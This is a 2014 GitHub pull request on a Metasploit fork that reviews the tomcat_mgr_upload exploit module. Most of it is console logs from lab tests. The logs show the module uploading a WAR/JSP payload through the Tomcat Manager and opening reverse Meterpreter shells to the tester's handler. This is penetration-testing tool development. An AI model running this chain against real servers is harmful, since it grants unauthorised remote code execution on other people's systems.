rangercha/metasploit-framework — pull request #1 by jvazquez-r7 (2014-01-30 23:03:19+00:00)
Title: Review tomcat_mgr_upload

Hi @rangercha,

Here are my proposed changes in order to clean https://github.com/rapid7/metasploit-framework/pull/2923

Please feel free to check, ask, discuss, (and test!) anything, and once you feel comfortable with it land on your repository and https://github.com/rapid7/metasploit-framework/pull/2923 will be automatically updated.

At the moment I've just used Tomcat8 for testing:

```
msf exploit(tomcat_mgr_upload) > set VERBOSE false
VERBOSE => false
msf exploit(tomcat_mgr_upload) > check
[*] The target appears to be vulnerable.
msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.133:8080 - Retrieving session ID and CSRF token...
[*] 192.168.172.133:8080 - Uploading and deploying 96YgmP5SLfk8Q2k65MVdB...
[*] 192.168.172.133:8080 - Executing 96YgmP5SLfk8Q2k65MVdB...
[*] 192.168.172.133:8080 - Undeploying 96YgmP5SLfk8Q2k65MVdB ...
[*] Sending stage (30355 bytes) to 192.168.172.133
[*] Meterpreter session 9 opened (192.168.172.1:4444 -> 192.168.172.133:49396) at 2014-01-30 16:57:52 -0600

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 9 closed. Reason: User exit
```

With verbose == true

```
msf exploit(tomcat_mgr_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.133:8080 - Retrieving session ID and CSRF token...
[*] 192.168.172.133:8080 - Finding CSRF token...
[*] 192.168.172.133:8080 - Uploading and deploying WoJfVssJMiC7zb...
[*] 192.168.172.133:8080 - Uploading 6462 bytes as WoJfVssJMiC7zb.war ...
[*] 192.168.172.133:8080 - Executing WoJfVssJMiC7zb...
[*] 192.168.172.133:8080 - Executing /WoJfVssJMiC7zb/smDVJ1HG0W.jsp...
[*] 192.168.172.133:8080 - Finding CSRF token...
[*] 192.168.172.133:8080 - Undeploying WoJfVssJMiC7zb ...
[*] Sending stage (30355 bytes) to 192.168.172.133
[*] Meterpreter session 8 opened (192.168.172.1:4444 -> 192.168.172.133:49395) at 2014-01-30 16:57:39 -0600

meterpreter > getuid
Server username: Juan Vazquez
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 8 closed. Reason: User exit
msf exploit(tomcat_mgr_upload) > check

[*] 192.168.172.133:8080 - Tomcat Manager found running on win platform and x86 architecture
[*] The target appears to be vulnerable.
```